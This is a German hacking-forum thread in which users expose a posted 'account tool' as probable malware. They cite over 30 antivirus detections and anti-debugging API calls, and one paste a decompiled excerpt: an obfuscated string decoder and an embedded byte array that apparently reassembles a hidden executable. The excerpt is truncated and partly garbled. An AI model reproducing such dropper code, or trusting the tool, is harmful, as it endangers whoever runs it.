4 Antworten in diesem Thema

[Zerobyte]

Was man nicht so alles findest

 

Download: 

Please Login HERE or Register HERE to see this link!

 

Scan: 

Please Login HERE or Register HERE to see this link!

Bearbeitet von Zerobyte, 01 August 2021 - 12:49 Uhr.

[ProHex]

Erklärst du mal bitte wieso du nicht virustotal nutzt? 

 

Liegt das eventuell an den über 30 detections dort? Oder daran, dass sie Malware mit den AV Herstellern sharen?

 

Und diese calls sind auch nicht Vertrauenserweckend:
 

GetTickCount 
IsDebuggerPresent 
GetTickCount64 
GetSystemMetrics 
ExecQueryWmi

[Zerobyte]

sorry hab es geändert. hatte nicht aufgepasst

[Blackhook]

Ein Tool um 4 Accounts aus der Liste zu kopieren mit einer Detection von 30.

Da muss schon ein Ziel dahinter stecken.

Optik - 0 von 10 Punkten

Funktionalität - 0 von 10 Punkten

 

Das ist nicht nur meine Meinung, das sind nackte Tatsachen.

 

EDIT

Und wenn mir den Code anschaue frage ich mich was das hier ist:

Auszug aus dem Code

            Class_3_Object obj2 = new Class_3_Object {
                Field_0 = Function_String_5("\x00ba\x00f2\x00cf\x00d6\x00cf\x009a\x00fb\x00d9\x00d9\x00d5\x00cf\x00d4\x00ce\x009a\x00fd\x00df\x00d4\x009a\x00ea\x00c8\x00df\x00d7\x00d3\x00cf\x00d7\x0094\x00df\x00c2\x00df"),
                Field_1 = true,
                Field_2 = true,
                Field_3 = false,
                Field_4 = 3,
                Field_5 = 1,
                Field_6 = true,
                Field_7 = Function_String_5("\x00fd"),
                Field_8 = true,
                Field_9 = true,
                Field_10 = true,
                Field_11 = true
            };
            obj2.Field_12 = new byte[] {
                0x61, 0x66, 0x10, 0xf2, 0xcf, 0x60, 8, 0x4a, 0x4b, 0x8a, 6, 0xa2, 0x10, 0x1a, 0x15, 0x95,
                0x2d, 0xc0, 0x2f, 0x27, 0x56, 0x83, 0xb8, 0xb5, 0x80, 0x7e, 0x24, 0x9d, 0x15, 0xb6, 0xed, 0x18,
                0xef, 0xa2, 0x5b, 0xd1, 0x77, 0x1a, 0x7d, 110, 0xaf, 0x69, 0xb2, 210, 0x41, 8, 0xf7, 0xe9,
                0x1f, 150, 0x97, Peter, 0x8a, 0x61, 0xa6, 0x29, 5, 0xf5, 0xe8, 0xe3, 0x8d, 0x9c, 0xa5, 0x40,
                0xc5, 0xfd, 0x4a, 0x56, 30, 0x3f, 90, 0x1c, 110, 0x44, 0xa1, 0xc9, 0x80, 0xf4, 0x91, 0xa4,
                0x48, 0x5b, 0xed, 0x42, 0x2a, 0x38, 140, 20, 0xcc, 0x1d, 0x7c, 220, 0xe3, 0x16, 90, 0x7f,
...
...
...

Das geht natürlich noch weiter, bis die ganze Exe zusammengesetzt ist.

Nur eine kleine Vermutung.

 

Bearbeitet von Croco, 02 August 2021 - 11:20 Uhr.

[t3r3z4]

Danke danke! Gonna check out